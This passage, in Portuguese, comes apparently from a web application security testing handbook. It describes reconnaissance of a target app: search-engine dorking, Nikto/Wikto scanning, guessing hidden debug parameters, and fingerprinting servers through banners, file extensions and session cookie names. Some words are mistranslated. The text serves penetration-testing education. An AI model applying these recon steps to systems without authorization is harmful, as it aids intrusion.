   - **`site:www.wahh-target.com`** retorna todos os recursos do site de destino aos quais o Google tem uma referência.
   - **`site:www.wahh-target.com login`** retorna todas as páginas que contêm a expressão **`login`**. Em um aplicativo grande e complexo, essa técnica pode ser usada para localizar rapidamente recursos interessantes, como mapas do site, funções de redefinição de senha e menus administrativos.
   - **`link:www.wahh-target.com`** retorna todas as páginas de outros sites e aplicativos que contêm um link para o destino. Isso pode incluir links para conteúdo antigo ou funcionalidade que se destina ao uso apenas por terceiros, como links de parceiros.
   - **`related:www.wahh-target.com`** retorna páginas que são "semelhantes" ao alvo e, portanto, inclui muito material irrelevante. No entanto, ele também pode discutir o alvo em outros sites, o que pode ser interessante.
3. Realize cada pesquisa não apenas na seção padrão da Web do Google, mas também em Grupos e Notícias, que podem conter resultados diferentes.
4. Navegue até a última página de resultados de pesquisa de uma determinada consulta e selecione Repetir a pesquisa com a inclusão dos resultados omitidos. Por padrão, o Google tenta filtrar resultados redundantes removendo páginas que ele acredita serem suficientemente semelhantes a outras incluídas nos resultados. A substituição desse comportamento pode revelar páginas sutilmente diferentes que são de seu interesse ao atacar o aplicativo.
5. Visualize a versão em cache de páginas interessantes, incluindo qualquer conteúdo que não esteja mais presente no aplicativo real. Em alguns casos, os caches dos mecanismos de pesquisa contêm recursos que não podem ser acessados diretamente no aplicativo sem autenticação ou pagamento.

6. Realize as mesmas consultas em outros nomes de domínio pertencentes à mesma organização, que podem conter informações úteis sobre o aplicativo que você está almejando.

Se a sua pesquisa identificar conteúdo e funcionalidade antigos que não estejam mais vinculados ao aplicativo principal, é possível que ainda estejam presentes e possam ser usados. A funcionalidade antiga pode conter vulnerabilidades que não existem em nenhum outro lugar do aplicativo.

Mesmo que o conteúdo antigo tenha sido removido do aplicativo ativo, o conteúdo obtido de um cache de mecanismo de pesquisa ou de um arquivo da Web pode conter referências ou pistas sobre outras funcionalidades que ainda estão presentes no aplicativo ativo e que podem ser usadas para atacá-lo.

Outra fonte pública de informações úteis sobre o aplicativo de destino são as publicações que os desenvolvedores e outras pessoas fizeram em fóruns da Internet. Há vários fóruns desse tipo em que designers e programadores de software fazem e respondem a perguntas técnicas. Muitas vezes, os itens postados nesses fóruns contêm informações sobre um aplicativo que são de benefício direto para um invasor, inclusive as tecnologias em uso, a funcionalidade implementada, os problemas encontrados durante o desenvolvimento, os bugs de segurança conhecidos, os arquivos de configuração e de registro enviados para ajudar na solução de problemas e até mesmo trechos do código-fonte.

ETAPAS DO HACK

1. Compile uma lista com todos os nomes e endereços de e-mail que puder descobrir relacionados ao aplicativo de destino e ao seu desenvolvimento. Isso deve incluir todos os desenvolvedores conhecidos, nomes encontrados no código-fonte HTML, nomes encontrados na seção de informações de contato do site principal da empresa e todos os nomes divulgados no próprio aplicativo, como a equipe administrativa.
2. Usando as técnicas de pesquisa descritas anteriormente, pesquise cada nome identificado para encontrar perguntas e respostas que tenham sido postadas em fóruns da Internet. Analise todas as informações encontradas para obter pistas sobre funcionalidade ou vulnerabilidades no aplicativo de destino.

Aproveitamento do servidor da Web

Podem existir vulnerabilidades na camada do servidor Web que permitem que você descubra conteúdo e funcionalidade que não estão vinculados ao próprio aplicativo Web. Por exemplo, erros no software do servidor Web podem permitir que um invasor liste o conteúdo de diretórios ou obtenha o código-fonte bruto de páginas dinâmicas executáveis pelo servidor. Consulte o Capítulo 18 para ver alguns exemplos dessas vulnerabilidades e como você pode identificá-las. Se houver uma falha desse tipo, você poderá explorá-la para obter diretamente uma listagem de todas as páginas e outros recursos do aplicativo.

Muitos servidores de aplicativos são fornecidos com conteúdo padrão que pode ajudá-lo a atacá-los. Por exemplo, scripts de amostra e de diagnóstico podem conter vulnerabilidades conhecidas ou funcionalidades que podem ser aproveitadas para fins maliciosos. Além disso, muitos aplicativos da Web incorporam componentes comuns de terceiros para a funcionalidade padrão, como carrinhos de compras, fóruns de discussão ou funções do sistema de gerenciamento de conteúdo (CMS). Esses componentes geralmente são instalados em um local fixo em relação à raiz da Web ou ao diretório inicial do aplicativo. As ferramentas automatizadas se prestam naturalmente a esse tipo de tarefa e muitas emitem solicitações de um grande banco de dados de conteúdo de servidor da Web padrão conhecido, componentes de aplicativos de terceiros e nomes de diretórios comuns. Embora essas ferramentas não testem rigorosamente nenhuma funcionalidade personalizada oculta, muitas vezes elas podem ser úteis para descobrir outros recursos que não estão vinculados ao aplicativo e que podem ser de interesse para a formulação de um ataque.

O Wikto é uma das muitas ferramentas gratuitas que realizam esses tipos de varreduras e, além disso, contém uma lista de força bruta configurável para o conteúdo. Conforme mostrado na Figura 4-9, quando usado contra o site Extreme Internet Shopping, ele identifica alguns diretórios usando sua lista de palavras interna. Como possui um grande banco de dados de scripts e softwares comuns de aplicativos da Web, ele também identificou o seguinte diretório, que um invasor não descobriria por meio de spidering automatizado ou orientado pelo usuário:

```
http://eis/phpmyadmin/
```

Figura 4-9: Wikto sendo usado para descobrir conteúdo e algumas vulnerabilidades conhecidas

Além disso, embora o diretório `/gb` já tenha sido identificado por meio de spidering, o Wikto identificou o URL específico:

```
/gb/index.php?login=true
```

O Wikto verifica esse URL porque ele é usado no aplicativo PHP gbook, que contém uma vulnerabilidade conhecida publicamente.

AVISO Como muitos scanners comerciais da Web, ferramentas como o Nikto e o Wikto contêm vastas listas de arquivos e diretórios padrão e, consequentemente, parecem ser diligentes na execução de um grande número de verificações. No entanto, um grande número dessas verificações é redundante, e falsos positivos são comuns. Pior ainda, os falsos negativos podem ocorrer regularmente se um servidor estiver configurado para ocultar um banimento, se um script ou uma coleção de scripts for movido para um diretório diferente ou se os códigos de status HTTP forem tratados de maneira personalizada. Por esse motivo, geralmente é melhor usar uma ferramenta como o Burp Intruder, que permite que você interprete as informações brutas da resposta e não tenta extrair resultados positivos e negativos em seu nome.

ETAPAS DO HACK

Várias opções úteis estão disponíveis quando você executa o Nikto:

1. Se você acredita que o servidor está usando um local não padrão para o conteúdo de interesse que o Nikto verifica (como **`/cgi/cgi-bin`** em vez de **`/cgi-bin`**), você pode especificar esse local alternativo usando a opção **`-root /cgi/`**. Para o caso específico dos diretórios CGI, eles também podem ser especificados usando a opção **`-Cgidirs`**.
2. Se o site usar uma página personalizada de "arquivo não encontrado" que não retorne o código de status HTTP 404, você poderá especificar uma cadeia de caracteres específica que identifique essa página usando a opção **`-404`**.
3. Esteja ciente de que o Nikto não realiza nenhuma verificação inteligente de possíveis problemas e, portanto, está propenso a relatar falsos positivos. Sempre verifique manualmente os resultados retornados pelo Nikto.

Observe que, com ferramentas como o Nikto, você pode especificar um aplicativo de destino usando seu nome de domínio ou endereço IP. Se uma ferramenta acessar uma página usando seu endereço IP, a ferramenta tratará os links dessa página que usam seu nome de domínio como pertencentes a um domínio diferente, de modo que os links não serão seguidos. Isso é razoável, pois alguns aplicativos são hospedados virtualmente, com vários nomes de domínio compartilhando o mesmo endereço IP. Certifique-se de configurar suas ferramentas com esse fato em mente.

Páginas de aplicativos versus caminhos funcionais

As técnicas de enumeração descritas até agora foram implicitamente orientadas por uma imagem específica de como o conteúdo dos aplicativos da Web pode ser conceituado e catalogado. Essa imagem é herdada dos dias anteriores à aplicação da World Wide Web, em que os servidores da Web funcionavam como repositórios de informações estáticas, recuperadas usando URLs que eram efetivamente nomes de arquivos. Para publicar algum conteúdo da Web, um autor simplesmente gerava vários arquivos HTML e os copiava para o diretório relevante em um servidor da Web. Quando os usuários seguiam os hiperlinks,

eles navegaram pelo conjunto de arquivos criados pelo autor, solicitando cada arquivo por meio de seu nome na árvore de diretórios que reside no servidor.

Embora a evolução dos aplicativos da Web tenha mudado fundamentalmente a experiência de interação com a Web, a imagem que acabamos de descrever ainda é aplicável à maior parte do conteúdo e da funcionalidade dos aplicativos da Web. As funções individuais são normalmente acessadas por meio de um URL exclusivo, que geralmente é o nome do script do lado do servidor que implementa a função. Os parâmetros da solicitação (que residem na string de consulta do URL ou no corpo de uma solicitação `POST`) não informam ao aplicativo qual função deve ser executada; eles informam quais informações devem ser usadas ao executá-la. Nesse contexto, a metodologia de construção de um mapa baseado em URL pode ser eficaz para catalogar a funcionalidade do aplicativo.

Em aplicativos que usam URLs no estilo REST, partes do caminho do arquivo de URL contêm cadeias de caracteres que, de fato, funcionam como valores de parâmetros. Nessa situação, ao mapear URLs, um spider mapeia as funções do aplicativo e a lista de valores de parâmetros conhecidos para essas funções.

Em alguns aplicativos, no entanto, a imagem baseada nas "páginas" do aplicativo é inadequada. Embora seja possível encaixar a estrutura de qualquer aplicativo nessa forma de representação, em muitos casos uma imagem diferente, baseada em caminhos funcionais, é muito mais útil para catalogar seu conteúdo e sua funcionalidade. Considere um aplicativo que é acessado usando apenas solicitações do seguinte formato:

```
POST /bank.jsp HTTP/1.1
Host: wahh-bank.com
Content-Length: 106

servlet=TransferFunds&method=confirmTransfer&fromAccount=10372918&to
Account=
3910852&amount=291.23&Submit=Ok
```

Aqui, cada solicitação é feita em um único URL. Os parâmetros da solicitação são usados para informar ao aplicativo qual função deve ser executada, nomeando o servlet Java e o método a ser invocado. Outros parâmetros fornecem as informações a serem usadas na execução da função. Na imagem baseada nas páginas do aplicativo, o aplicativo parece ter apenas uma única função, e um mapa baseado em URL não elucida sua funcionalidade. Entretanto, se mapearmos o aplicativo em termos de caminhos funcionais, poderemos obter um catálogo muito mais informativo e útil de sua funcionalidade. A Figura 4-10 é um mapa parcial dos caminhos funcionais que existem no aplicativo.

Figura 4-10: Um mapeamento dos caminhos funcionais em um aplicativo da Web

Representar a funcionalidade de um aplicativo dessa forma costuma ser mais útil, mesmo nos casos em que a imagem usual baseada nas páginas do aplicativo pode ser aplicada sem problemas. As relações lógicas e as dependências entre as diferentes funções podem não corresponder à estrutura de diretórios usada nos URLs. São essas relações lógicas que mais interessam a você, tanto para entender a funcionalidade principal do aplicativo quanto para formular possíveis ataques contra ele. Ao identificá-las, você pode entender melhor as expectativas e suposições dos desenvolvedores do aplicativo ao implementar as funções. Você também pode tentar encontrar maneiras de violar essas suposições, causando um comportamento inesperado no aplicativo.

Nos aplicativos em que as funções são identificadas usando um parâmetro de solicitação, e não o URL, isso tem implicações para a enumeração do conteúdo do aplicativo. No exemplo anterior, os exercícios de descoberta de conteúdo descritos até agora provavelmente não revelarão nenhum conteúdo oculto. Essas técnicas precisam ser adaptadas aos mecanismos realmente usados pelo aplicativo para acessar a funcionalidade.

ETAPAS DO HACK

1. Identifique todas as instâncias em que a funcionalidade do aplicativo é acessada não solicitando uma página específica para essa função (como **`/admin/editUser.jsp`**), mas passando o nome de uma função em um parâmetro (como **`/admin.jsp?action=editUser`**).
2. Modifique as técnicas automatizadas descritas para descobrir conteúdo especificado por URL para trabalhar com os mecanismos de acesso ao conteúdo em uso no aplicativo. Por exemplo, se o aplicativo usar parâmetros que especifiquem o conteúdo do URL, ele poderá ser usado para acessar o conteúdo.
   Para identificar os nomes de servlets e métodos, primeiro determine seu comportamento quando um servlet e/ou método inválido for solicitado e quando um método válido for solicitado com outros parâmetros inválidos. Tente identificar os atributos das respostas do servidor que indicam "acertos" - servlets e métodos válidos. Se possível, encontre uma maneira de atacar o problema em duas etapas, primeiro enumerando os servlets e depois os métodos dentro deles. Usando um método semelhante ao usado para conteúdo especificado por URL, compile listas de itens comuns, aumente-as inferindo os nomes realmente observados e gere um grande número de solicitações com base nelas.
3. Se aplicável, compile um mapa do conteúdo do aplicativo com base em caminhos funcionais, mostrando todas as funções enumeradas e os caminhos lógicos e as dependências entre elas.

Descoberta de parâmetros ocultos

Uma variação da situação em que um aplicativo usa parâmetros de solicitação para especificar qual função deve ser executada surge quando outros parâmetros são usados para controlar a lógica do aplicativo de forma significativa. Por exemplo, um aplicativo pode se comportar de forma diferente se o parâmetro `debug=true` for adicionado à string de consulta de qualquer URL. Ele poderá desativar determinadas verificações de validação de entrada, permitir que o usuário ignore determinados controles de acesso ou exibir informações de depuração detalhadas em sua resposta. Em muitos casos, o fato de o aplicativo manipular esse parâmetro não pode ser inferido diretamente de nenhum de seu conteúdo (por exemplo, ele não inclui `debug=false` nos URLs que publica como hiperlinks). O efeito do parâmetro só pode ser detectado por meio da adivinhação de um intervalo de valores até que o correto seja enviado.

ETAPAS DO HACK

1. Usando listas de nomes de parâmetros de depuração comuns (debug, test, hide, source, etc.) e valores comuns (true, yes, on, 1, etc.), faça um grande número de solicitações a uma página ou função de aplicativo conhecida, iterando por todas as permutações de nome e valor. Para solicitações **POST**, insira o parâmetro adicionado à string de consulta do URL e ao corpo da mensagem.

   O Burp Intruder pode ser usado para realizar esse teste usando vários conjuntos de carga útil e o tipo de ataque "bomba de fragmentação" (consulte o Capítulo 14 para obter mais detalhes).

2. Monitore todas as respostas recebidas para identificar quaisquer anomalias que possam indicar que o parâmetro adicionado teve um efeito no processamento do aplicativo.
3. Dependendo do tempo disponível, direcione um número de páginas ou funções diferentes para a descoberta de parâmetros ocultos. Escolha funções em que seja mais provável que os desenvolvedores tenham implementado a lógica de depuração, como login, pesquisa e upload e download de arquivos.

Analisando o aplicativo

Enumerar o máximo possível do conteúdo do aplicativo é apenas um dos elementos do processo de mapeamento. Igualmente importante é a tarefa de analisar a funcionalidade, o comportamento e as tecnologias empregadas no aplicativo para identificar as principais superfícies de ataque que ele expõe e começar a formular uma abordagem para sondar o aplicativo em busca de vulnerabilidades exploráveis.

Aqui estão algumas áreas importantes a serem investigadas:

- A funcionalidade principal do aplicativo - as ações que podem ser aproveitadas para serem executadas quando usadas como pretendido
- Outros comportamentos mais periféricos do aplicativo, incluindo links externos, mensagens de erro, funções administrativas e de registro e uso de redirecionamentos
- Os principais mecanismos de segurança e como eles funcionam - em particular, o gerenciamento do estado da sessão, os controles de acesso e os mecanismos de autenticação e a lógica de suporte (registro de usuário, alteração de senha e recuperação de conta)

- Todos os diferentes locais em que o aplicativo processa a entrada fornecida pelo usuário: cada URL, parâmetro de string de consulta, item de dados `POST` e cookie.
- As tecnologias empregadas no lado do cliente, incluindo formulários, scripts do lado do cliente, componentes de cliente espesso (applets Java, controles ActiveX e Flash) e cookies
- As tecnologias empregadas no lado do servidor, incluindo páginas estáticas e dinâmicas, os tipos de parâmetros de solicitação empregados, o uso de SSL, software de servidor da Web, interação com bancos de dados, sistemas de e-mail e outros componentes de back-end
- Quaisquer outros detalhes que possam ser obtidos sobre a estrutura interna e a funcionalidade do aplicativo no lado do servidor - os mecanismos que ele usa nos bastidores para fornecer a funcionalidade e o comportamento que são visíveis da perspectiva do cliente

Identificação de pontos de entrada para a entrada do usuário

A maioria das maneiras pelas quais o aplicativo captura a entrada do usuário para processamento no lado do servidor deve ser óbvia ao analisar as solicitações HTTP geradas à medida que você percorre a funcionalidade do aplicativo. Aqui estão os principais locais aos quais você deve prestar atenção:

- Cada string de URL até o marcador de string de consulta
- Cada parâmetro enviado na string de consulta de URL
- Cada parâmetro enviado no corpo de uma solicitação `POST`
- Cada cookie
- Todos os outros cabeçalhos HTTP que o aplicativo pode processar - em particular, os cabeçalhos `User-Agent`, `Referer`, `Accept`, `Accept-Language` e `Host`

Caminhos de arquivos de URL

As partes do URL que precedem a string de consulta geralmente são ignoradas como pontos de entrada, pois se supõe que sejam simplesmente os nomes de diretórios e arquivos no sistema de arquivos do servidor. Entretanto, em aplicativos que usam URLs no estilo REST, as partes do URL que precedem a string de consulta podem, de fato, funcionar como parâmetros de dados e são tão importantes como pontos de entrada para a entrada do usuário quanto a própria string de consulta.

Um URL típico no estilo REST poderia ter este formato:

```
http://eis/shop/browse/electronics/iPhone3G/
```

Nesse exemplo, as cadeias `de caracteres electronics` e `iPhone3G` devem ser tratadas como parâmetros para armazenar uma função de pesquisa.

Da mesma forma, nesta URL:

```
http://eis/updates/2010/12/25/my-new-iphone/
```

cada um dos componentes de URL que seguem `as atualizações` pode estar sendo tratado de maneira RESTful.

A maioria dos aplicativos que usam URLs no estilo REST é fácil de identificar, dada a estrutura do URL e o contexto do aplicativo. No entanto, nenhuma regra rígida e rápida deve ser assumida ao mapear um aplicativo, pois cabe aos autores do aplicativo decidir como os usuários devem interagir com ele.

Parâmetros de solicitação

Os parâmetros enviados na string de consulta do URL, no corpo da mensagem e nos cookies HTTP são os pontos de entrada mais óbvios para a entrada do usuário. Entretanto, alguns aplicativos não empregam o formato padrão `name=value` para esses parâmetros. Eles podem empregar seu próprio esquema personalizado, que pode usar marcadores de string de consulta e separadores de campo fora do padrão, ou podem incorporar outros esquemas de dados, como XML, nos dados dos parâmetros.

Aqui estão alguns exemplos de formatos de parâmetros fora do padrão que os autores encontraram na natureza:

- `/dir/arquivo;foo=bar&foo2=bar2`
- `/dir/file?foo=bar$foo2=bar2`
- `/dir/file/foo%3dbar%26foo2%3dbar2`
- `/dir/foo.bar/arquivo`
- `/dir/foo=bar/arquivo`
- `/dir/file?param=foo:bar`
- `/dir/file?data=%3cfoo%3ebar%3c%2ffoo%3e%3cfoo2%3ebar2%3c%2ffoo2%3e`

Se um formato de parâmetro não padrão estiver sendo usado, você precisará levar isso em consideração ao sondar o aplicativo em busca de todos os tipos de vulnerabilidades comuns. Por exemplo, suponha que, ao testar o URL final desta lista, você ignore o formato personalizado e simplesmente trate a string de consulta como contendo um único parâmetro chamado `data` e, portanto, envie vários tipos de cargas úteis de ataque como o valor desse parâmetro. Você perderia muitos tipos de vulnerabilidades que podem existir no processamento da string de consulta. Por outro lado, se você dissecar o formato e colocar suas cargas úteis nos campos de dados XML incorporados, poderá descobrir imediatamente um bug crítico, como injeção de SQL ou passagem de caminho.

Cabeçalhos HTTP

Muitos aplicativos executam funções de registro personalizadas e podem registrar o conteúdo dos cabeçalhos HTTP, como `Referer` e `User-Agent`. Esses cabeçalhos sempre devem ser considerados como possíveis pontos de entrada para ataques baseados em entrada.

Alguns aplicativos executam processamento adicional no cabeçalho `Referer`. Por exemplo, um aplicativo pode detectar que um usuário chegou por meio de um mecanismo de pesquisa e procurar fornecer uma resposta personalizada, adaptada à consulta de pesquisa do usuário. O aplicativo pode ecoar o termo de pesquisa ou pode tentar destacar expressões correspondentes na resposta. Alguns aplicativos procuram aumentar suas classificações de pesquisa adicionando dinamicamente conteúdo, como palavras-chave HTML, contendo cadeias de caracteres que os visitantes recentes dos mecanismos de pesquisa têm procurado. Nessa situação, pode ser possível injetar conteúdo persistentemente nas respostas do aplicativo fazendo uma solicitação várias vezes contendo um URL `de referência` adequadamente elaborado.

Uma tendência importante nos últimos anos tem sido a de os aplicativos apresentarem conteúdo diferente para os usuários que acessam o aplicativo por meio de dispositivos diferentes (laptop, celular, tablet). Isso é feito por meio da inspeção do cabeçalho `User-Agent`. Além de oferecer um caminho para ataques baseados em entrada diretamente no próprio cabeçalho `User-Agent`, esse comportamento oferece uma oportunidade de descobrir uma superfície de ataque adicional no aplicativo. Ao falsificar o cabeçalho `User-Agent` de um dispositivo móvel popular, é possível acessar uma interface de usuário simplificada que se comporta de forma diferente da interface principal. Como essa interface é gerada por meio de diferentes caminhos de código no aplicativo do lado do servidor e pode ter sido submetida a menos testes de segurança, você pode identificar bugs, como cross-site scripting, que não existem na interface principal do aplicativo.

DICA O Burp Intruder contém uma lista de carga útil integrada que contém um grande número de cadeias de agentes de usuário para diferentes tipos de dispositivos. Você pode realizar um ataque simples que executa uma solicitação GET para a página principal do aplicativo fornecendo diferentes cadeias de agentes de usuário e, em seguida, analisar os resultados do intruso para identificar anomalias que sugerem que uma interface de usuário diferente está sendo apresentada.

Além de visar os cabeçalhos de solicitação HTTP que o navegador envia por padrão ou que os componentes do aplicativo adicionam, em algumas situações é possível realizar ataques bem-sucedidos adicionando outros cabeçalhos que o aplicativo ainda pode processar. Por exemplo, muitos aplicativos realizam algum processamento no endereço IP do cliente para executar funções como registro, controle de acesso ou geolocalização do usuário. Normalmente, o endereço IP da conexão de rede do cliente está disponível para os aplicativos por meio de APIs da plataforma. No entanto, para lidar com casos em que o aplicativo reside atrás de um balanceador de carga ou proxy, os aplicativos podem usar o endereço IP especificado no cabeçalho de solicitação `X-Forwarded-For`, se ele estiver presente. Os

desenvolvedores podem, então, presumir erroneamente que o valor do endereço IP não está contaminado e processá-lo de maneiras perigosas. Ao adicionar um cabeçalho `X-Forwarded-For`

você poderá realizar ataques como injeção de SQL ou scripting persistente entre sites.

Canais fora de banda

Uma classe final de pontos de entrada para a entrada do usuário inclui qualquer canal fora de banda pelo qual o aplicativo recebe dados que você pode controlar. Alguns desses pontos de entrada podem ser totalmente indetectáveis se você simplesmente inspecionar o tráfego HTTP gerado pelo aplicativo, e encontrá-los geralmente requer uma compreensão do contexto mais amplo da funcionalidade que o aplicativo implementa. Aqui estão alguns exemplos de aplicativos da Web que recebem dados controláveis pelo usuário por meio de um canal fora de banda:

- Um aplicativo de correio eletrônico da Web que processa e processa mensagens de e-mail recebidas via SMTP
- Um aplicativo de publicação que contém uma função para recuperar conteúdo via HTTP de outro servidor
- Um aplicativo de detecção de intrusão que coleta dados usando um sniffer de rede e os apresenta usando uma interface de aplicativo da Web
- Qualquer tipo de aplicativo que forneça uma interface API para uso por agentes de usuário que não sejam do navegador, como aplicativos de telefone celular, se os dados processados por meio dessa interface forem compartilhados com o aplicativo da Web principal

Identificação de tecnologias do lado do servidor

Normalmente, é possível identificar as tecnologias empregadas no servidor por meio de várias pistas e indicadores.

Captura de banners

Muitos servidores da Web divulgam informações detalhadas sobre a versão, tanto sobre o próprio software do servidor da Web quanto sobre outros componentes que foram instalados. Por exemplo, o cabeçalho `do servidor` HTTP divulga uma grande quantidade de detalhes sobre algumas instalações:

```
Servidor: Apache/1.3.31 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/
1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.3.9 FrontPage/
5.0.2.2634a mod_ssl/2.8.20 OpenSSL/0.9.7a
```

Além do cabeçalho `do servidor`, o tipo e a versão do software podem ser divulgados em outros locais:

- Modelos usados para criar páginas HTML
- Cabeçalhos HTTP personalizados
- Parâmetros de string de consulta de URL

Impressão digital de HTTP

Em princípio, qualquer item de informação retornado pelo servidor pode ser personalizado ou até mesmo deliberadamente falsificado, e banners como o cabeçalho `Server` não são exceção. A maioria dos softwares de servidor de aplicativos permite que o administrador configure o banner retornado no cabeçalho HTTP `do servidor`. Apesar de medidas como essa, geralmente é possível para um invasor determinado usar outros aspectos do comportamento do servidor da Web para determinar o software em uso ou, pelo menos, restringir a gama de possibilidades. A especificação HTTP contém muitos detalhes que são opcionais ou deixados a critério do implementador. Além disso, muitos servidores da Web se desviam da especificação ou a estendem de várias maneiras. Como resultado, um servidor da Web pode ser identificado de várias maneiras sutis, além de seu banner `de servidor`. O Httprecon é uma ferramenta útil que executa vários testes na tentativa de identificar o software de um servidor da Web. A Figura 4-11 mostra o Httprecon sendo executado no aplicativo EIS e relatando vários servidores da Web possíveis com diferentes graus de confiança.

Figura 4-11: Impressão digital do Httprecon no aplicativo EIS

Extensões de arquivo

As extensões de arquivo usadas nos URLs geralmente revelam a plataforma ou a linguagem de programação usada para implementar a funcionalidade relevante. Por exemplo:

- `asp` - Páginas do Microsoft Active Server Pages
- `aspx` - Microsoft ASP.NET

- `jsp` - Páginas do servidor Java
- `cfm` - Fusão a frio
- `php` - A linguagem PHP
- `d2w` - WebSphere
- `pl` - A linguagem Perl
- `py` - A linguagem Python
- `dll` - Normalmente, código nativo compilado (C ou C++)
- `nsf` ou `ntf` - Lotus Domino

Mesmo que um aplicativo não utilize uma extensão de arquivo específica em seu conteúdo publicado, geralmente é possível verificar se a tecnologia que suporta essa extensão está implementada no servidor. Por exemplo, se o ASP.NET estiver instalado, a solicitação de um arquivo `.aspx` inexistente retornará uma página de erro personalizada gerada pela estrutura do ASP.NET, conforme mostrado na Figura 4-12. A solicitação de um arquivo inexistente com uma extensão diferente retorna uma mensagem de erro genérica gerada pelo servidor da Web, conforme mostrado na Figura 4-13.

Figura 4-12: Uma página de erro personalizada indicando que a plataforma ASP.NET está presente no servidor

Usando as técnicas automatizadas de descoberta de conteúdo já descritas, é possível solicitar um grande número de extensões de arquivos comuns e confirmar rapidamente se alguma das tecnologias associadas está implementada no servidor.

O comportamento divergente descrito ocorre porque muitos servidores da Web mapeiam extensões de arquivo específicas para determinados componentes do lado do servidor. Cada componente diferente pode tratar os erros (inclusive solicitações de conteúdo inexistente) de forma diferente. A Figura 4-14 mostra as várias extensões que são mapeadas para diferentes DLLs manipuladoras em uma instalação padrão do IIS 5.0.

Figura 4-13: Uma mensagem de erro genérica criada quando uma extensão de arquivo não reconhecida é solicitada

Figura 4-14: Mapeamentos de extensão de arquivo no IIS 5.0

É possível detectar a presença de cada mapeamento de extensão de arquivo por meio das diferentes mensagens de erro geradas quando essa extensão de arquivo é solicitada. Em alguns casos, a descoberta de um mapeamento específico pode indicar a presença de uma vulnerabilidade no servidor da Web. Por exemplo, os manipuladores `.printer` e `.ida/.idq` no IIS foram encontrados no passado vulneráveis a vulnerabilidades de estouro de buffer.

Outra impressão digital comum que deve ser observada são os URLs com a seguinte aparência:

```
https://wahh-app/news/0,,2-421206,00.html
```

Os números separados por vírgula no final do URL geralmente são gerados pela plataforma de gerenciamento de conteúdo da Vignette.

Nomes de diretórios

É comum encontrar nomes de subdiretórios que indicam a presença de uma tecnologia associada. Por exemplo:

- `servlet` - servlets Java
- `pls` - gateway PL/SQL do Oracle Application Server
- `cfdocs` ou `cfide` - Cold Fusion
- `SilverStream` - O servidor da Web SilverStream
- `WebObjects` ou `{function}.woa` - WebObjects da Apple
- `rails` - Ruby on Rails

Tokens de sessão

Muitos servidores da Web e plataformas de aplicativos da Web geram tokens de sessão por padrão com nomes que fornecem informações sobre a tecnologia em uso. Por exemplo:

- `JSESSIONID` - A plataforma Java
- `ASPSESSIONID` - servidor do Microsoft IIS
- `ASP.NET_SessionId` - Microsoft ASP.NET
- `CFID/CFTOKEN` - Fusão a frio
- `PHPSESSID` - PHP

Componentes de código de terceiros

Muitos aplicativos da Web incorporam componentes de código de terceiros para implementar funcionalidades comuns, como carrinhos de compras, mecanismos de login e quadros de mensagens. Esses componentes podem ser de código aberto ou podem ter sido adquiridos de um desenvolvedor de software externo. Quando esse é o caso, os mesmos componentes geralmente aparecem em vários outros aplicativos Web na Internet, que você pode inspecionar para entender como o componente funciona. Muitas vezes, outros aplicativos usam recursos diferentes do mesmo componente, o que permite identificar comportamentos e funcionalidades adicionais além do que é diretamente visível no aplicativo de destino. Além disso, o software pode conter vulnerabilidades conhecidas que foram discutidas em outro lugar, ou você pode baixar e instalar o componente por conta própria e realizar uma análise do código-fonte ou sondá-lo em busca de defeitos de forma controlada.

ETAPAS DO HACK

1. Identifique todos os pontos de entrada para a entrada do usuário, incluindo URLs, parâmetros de string de consulta, dados **POST**, cookies e outros cabeçalhos HTTP processados pelo aplicativo.
2. Examine o formato da string de consulta usado pelo aplicativo. Se ele não empregar o formato padrão descrito no Capítulo 3, tente entender como os parâmetros estão sendo transmitidos pelo URL. Praticamente todos os esquemas personalizados ainda empregam alguma variação do modelo nome/valor, portanto, tente entender como os pares nome/valor estão sendo encapsulados nos URLs não padrão que você identificou.
3. Identifique todos os canais externos por meio dos quais os dados controláveis pelo usuário ou outros dados de terceiros estão sendo introduzidos no processamento do aplicativo.
4. Visualize o banner do servidor HTTP retornado pelo aplicativo. Observe que, em alguns casos, diferentes áreas do aplicativo são tratadas por diferentes componentes de back-end, portanto, diferentes cabeçalhos **de servidor** podem ser recebidos.
6. Verifique se há outros identificadores de software contidos nos cabeçalhos HTTP personalizados ou nos comentários do código-fonte HTML.
7. Execute a ferramenta httprint para obter a impressão digital do servidor da Web.
8. Se forem obtidas informações detalhadas sobre o servidor da Web e outros componentes, pesquise as versões de software em uso para identificar quaisquer vulnerabilidades que possam ser exploradas para promover um ataque (consulte o Capítulo 18).
9. Revise seu mapa de URLs de aplicativos para identificar quaisquer extensões de arquivos, diretórios ou outras subseqüências de aparência interessante que possam fornecer pistas sobre as tecnologias em uso no servidor.
10. Analise os nomes de todos os tokens de sessão emitidos pelo aplicativo para identificar as tecnologias que estão sendo usadas.
11. Use listas de tecnologias comuns, ou o Google, para estabelecer quais tecnologias podem estar em uso no servidor ou descobrir outros sites e aplicativos que parecem empregar as mesmas tecnologias.
12. Faça buscas no Google pelos nomes de cookies, scripts, cabeçalhos HTTP e similares incomuns que possam pertencer a componentes de software de terceiros. Se localizar outros aplicativos nos quais os mesmos componentes estejam sendo usados, analise-os para identificar qualquer funcionalidade e parâmetros adicionais que os componentes suportem e verifique se eles também estão presentes no seu aplicativo de destino. Observe que os componentes de terceiros podem ter aparência e comportamento bastante diferentes em cada implementação, devido a personalizações de marca, mas a funcionalidade principal, incluindo nomes de scripts e parâmetros, geralmente é a mesma. Se possível, baixe e instale o componente e analise-o para entender completamente seus recursos e, se possível, descobrir vulnerabilidades. Consulte os repositórios de vulnerabilidades conhecidas para identificar quaisquer defeitos conhecidos do componente em questão.

Identificação da funcionalidade do lado do servidor

Muitas vezes, é possível inferir muito sobre a funcionalidade e a estrutura do lado do servidor ou, pelo menos, fazer uma suposição fundamentada, observando as pistas que o aplicativo revela ao cliente.

Dissecando solicitações

Considere o seguinte URL, que é usado para acessar uma função de pesquisa:

```
https://wahh-app.com/calendar.jsp?name=new%20applicants&isExpired=
0&startDate=22%2F09%2F2010&endDate=22%2F03%2F2011&OrderBy=name
```

Como você viu, a extensão de arquivo `.jsp` indica que as Java Server Pages estão em uso. Você pode supor que uma função de pesquisa recuperará suas informações de um sistema de indexação ou de um banco de dados. A presença do parâmetro `OrderBy` sugere que um banco de dados back-end está sendo usado e que o valor enviado pode ser usado como a cláusula `ORDER BY` de uma consulta SQL. Esse parâmetro pode ser vulnerável à injeção de SQL, assim como qualquer um dos outros parâmetros, se forem usados em consultas a bancos de dados (consulte o Capítulo 9).

